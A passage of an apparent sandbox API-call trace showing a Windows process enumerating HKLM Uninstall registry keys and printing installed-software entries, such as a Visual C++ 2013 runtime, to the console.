0x1b5 [0147.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.993] lstrlenW (lpString="Language") returned 8 [0147.993] __iob_func () returned 0x7fefd702a80 [0147.993] _fileno (_File=0x7fefd702ab0) returned 1 [0147.993] _errno () returned 0xc4bb0 [0147.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.993] _errno () returned 0xc4bb0 [0147.993] GetFileType (hFile=0x50) returned 0x1 [0147.993] lstrlenW (lpString="Language") returned 8 [0147.993] GetConsoleOutputCP () returned 0x1b5 [0147.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.993] GetConsoleOutputCP () returned 0x1b5 [0147.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.993] __iob_func () returned 0x7fefd702a80 [0147.993] _fileno (_File=0x7fefd702ab0) returned 1 [0147.993] _errno () returned 0xc4bb0 [0147.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.993] _errno () returned 0xc4bb0 [0147.993] GetFileType (hFile=0x50) returned 0x1 [0147.994] lstrlenW (lpString=" ") returned 4 [0147.994] GetConsoleOutputCP () returned 0x1b5 [0147.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.994] GetConsoleOutputCP () returned 0x1b5 [0147.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.994] __iob_func () returned 0x7fefd702a80 [0147.994] _fileno (_File=0x7fefd702ab0) returned 1 [0147.994] _errno () returned 0xc4bb0 [0147.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.994] _errno () returned 0xc4bb0 [0147.994] GetFileType (hFile=0x50) returned 0x1 [0147.994] lstrlenW (lpString="REG_DWORD") returned 9 [0147.994] GetConsoleOutputCP () returned 0x1b5 [0147.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.994] GetConsoleOutputCP () returned 0x1b5 [0147.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.995] __iob_func () returned 0x7fefd702a80 [0147.995] _fileno (_File=0x7fefd702ab0) returned 1 [0147.995] _errno () returned 0xc4bb0 [0147.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.995] _errno () returned 0xc4bb0 [0147.995] GetFileType (hFile=0x50) returned 0x1 [0147.995] lstrlenW (lpString=" ") returned 4 [0147.995] GetConsoleOutputCP () returned 0x1b5 [0147.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.995] GetConsoleOutputCP () returned 0x1b5 [0147.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.995] __iob_func () returned 0x7fefd702a80 [0147.995] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.995] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0147.995] _fileno (_File=0x7fefd702ab0) returned 1 [0147.995] _errno () returned 0xc4bb0 [0147.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.995] _errno () returned 0xc4bb0 [0147.995] GetFileType (hFile=0x50) returned 0x1 [0147.995] lstrlenW (lpString="0x409") returned 5 [0147.995] GetConsoleOutputCP () returned 0x1b5 [0147.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0147.996] GetConsoleOutputCP () returned 0x1b5 [0147.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0147.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0147.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.996] __iob_func () returned 0x7fefd702a80 [0147.996] _fileno (_File=0x7fefd702ab0) returned 1 [0147.996] _errno () returned 0xc4bb0 [0147.996] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.996] _errno () returned 0xc4bb0 [0147.996] GetFileType (hFile=0x50) returned 0x1 [0147.996] lstrlenW (lpString="\n") returned 1 [0147.996] GetConsoleOutputCP () returned 0x1b5 [0147.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.996] GetConsoleOutputCP () returned 0x1b5 [0147.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.996] GetProcessHeap () returned 0x2e0000 [0147.996] GetProcessHeap () returned 0x2e0000 [0147.996] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.996] GetProcessHeap () returned 0x2e0000 [0147.996] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.996] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.997] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.997] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x7e) returned 0x0 [0147.997] GetProcessHeap () returned 0x2e0000 [0147.997] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x80) returned 0x302970 [0147.997] GetProcessHeap () returned 0x2e0000 [0147.997] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0147.997] GetProcessHeap () returned 0x2e0000 [0147.997] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x80 [0147.997] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x7e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005", pcbData=0x23f670*=0x7c) returned 0x0 [0147.997] __iob_func () returned 0x7fefd702a80 [0147.997] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.997] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.997] _fileno (_File=0x7fefd702ab0) returned 1 [0147.997] _errno () returned 0xc4bb0 [0147.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.997] _errno () returned 0xc4bb0 [0147.997] GetFileType (hFile=0x50) returned 0x1 [0147.997] lstrlenW (lpString=" ") returned 4 [0147.997] GetConsoleOutputCP () returned 0x1b5 [0147.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.997] GetConsoleOutputCP () returned 0x1b5 [0147.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.997] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.997] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.998] lstrlenW (lpString="DisplayName") returned 11 [0147.998] __iob_func () returned 0x7fefd702a80 [0147.998] _fileno (_File=0x7fefd702ab0) returned 1 [0147.998] _errno () returned 0xc4bb0 [0147.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.998] _errno () returned 0xc4bb0 [0147.998] GetFileType (hFile=0x50) returned 0x1 [0147.998] lstrlenW (lpString="DisplayName") returned 11 [0147.998] GetConsoleOutputCP () returned 0x1b5 [0147.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.998] GetConsoleOutputCP () returned 0x1b5 [0147.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.998] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.998] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.998] __iob_func () returned 0x7fefd702a80 [0147.998] _fileno (_File=0x7fefd702ab0) returned 1 [0147.998] _errno () returned 0xc4bb0 [0147.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.998] _errno () returned 0xc4bb0 [0147.998] GetFileType (hFile=0x50) returned 0x1 [0147.998] lstrlenW (lpString=" ") returned 4 [0147.998] GetConsoleOutputCP () returned 0x1b5 [0147.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.998] GetConsoleOutputCP () returned 0x1b5 [0147.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.999] __iob_func () returned 0x7fefd702a80 [0147.999] _fileno (_File=0x7fefd702ab0) returned 1 [0147.999] _errno () returned 0xc4bb0 [0147.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.999] _errno () returned 0xc4bb0 [0147.999] GetFileType (hFile=0x50) returned 0x1 [0147.999] lstrlenW (lpString="REG_SZ") returned 6 [0147.999] GetConsoleOutputCP () returned 0x1b5 [0147.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.999] GetConsoleOutputCP () returned 0x1b5 [0147.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.999] __iob_func () returned 0x7fefd702a80 [0147.999] _fileno (_File=0x7fefd702ab0) returned 1 [0147.999] _errno () returned 0xc4bb0 [0147.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.999] _errno () returned 0xc4bb0 [0147.999] GetFileType (hFile=0x50) returned 0x1 [0147.999] lstrlenW (lpString=" ") returned 4 [0147.999] GetConsoleOutputCP () returned 0x1b5 [0148.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.000] GetConsoleOutputCP () returned 0x1b5 [0148.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.000] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.000] __iob_func () returned 0x7fefd702a80 [0148.000] _fileno (_File=0x7fefd702ab0) returned 1 [0148.000] _errno () returned 0xc4bb0 [0148.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.000] _errno () returned 0xc4bb0 [0148.000] GetFileType (hFile=0x50) returned 0x1 [0148.000] lstrlenW (lpString="Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005") returned 61 [0148.000] GetConsoleOutputCP () returned 0x1b5 [0148.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0148.000] GetConsoleOutputCP () returned 0x1b5 [0148.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005", cchWideChar=61, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005", lpUsedDefaultChar=0x0) returned 61 [0148.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 61 [0148.000] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.000] __iob_func () returned 0x7fefd702a80 [0148.000] _fileno (_File=0x7fefd702ab0) returned 1 [0148.001] _errno () returned 0xc4bb0 [0148.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.001] _errno () returned 0xc4bb0 [0148.001] GetFileType (hFile=0x50) returned 0x1 [0148.001] lstrlenW (lpString="\n") returned 1 [0148.001] GetConsoleOutputCP () returned 0x1b5 [0148.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.001] GetConsoleOutputCP () returned 0x1b5 [0148.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.001] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.001] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.001] GetProcessHeap () returned 0x2e0000 [0148.001] GetProcessHeap () returned 0x2e0000 [0148.001] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.001] GetProcessHeap () returned 0x2e0000 [0148.001] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x80 [0148.001] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.001] __iob_func () returned 0x7fefd702a80 [0148.001] _fileno (_File=0x7fefd702ab0) returned 1 [0148.001] _errno () returned 0xc4bb0 [0148.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.001] _errno () returned 0xc4bb0 [0148.001] GetFileType (hFile=0x50) returned 0x1 [0148.001] lstrlenW (lpString="\n") returned 1 [0148.001] GetConsoleOutputCP () returned 0x1b5 [0148.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.002] GetConsoleOutputCP () returned 0x1b5 [0148.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.002] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.002] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0148.002] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0148.002] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0148.002] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{929FBD26-9020-399B-9A7A-751D61F0B942}") returned 109 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0148.002] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.002] GetProcessHeap () returned 0x2e0000 [0148.002] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0148.002] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.002] RegCloseKey (hKey=0x5c) returned 0x0 [0148.003] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x19, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.003] __iob_func () returned 0x7fefd702a80 [0148.003] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.003] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\n") returned 117 [0148.003] _fileno (_File=0x7fefd702ab0) returned 1 [0148.003] _errno () returned 0xc4bb0 [0148.003] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.003] _errno () returned 0xc4bb0 [0148.003] GetFileType (hFile=0x50) returned 0x1 [0148.003] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\n") returned 117 [0148.003] GetConsoleOutputCP () returned 0x1b5 [0148.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\n", cchWideChar=117, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 117 [0148.003] GetConsoleOutputCP () returned 0x1b5 [0148.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\n", cchWideChar=117, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\n", lpUsedDefaultChar=0x0) returned 117 [0148.003] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 117 [0148.003] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.003] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0148.003] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0xd, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.003] GetProcessHeap () returned 0x2e0000 [0148.003] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5bc0 [0148.003] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.003] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xb0) returned 0x0 [0148.004] GetProcessHeap () returned 0x2e0000 [0148.004] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xb2) returned 0x302970 [0148.004] GetProcessHeap () returned 0x2e0000 [0148.004] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.004] GetProcessHeap () returned 0x2e0000 [0148.004] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xb2 [0148.004] RegGetValueW (in: 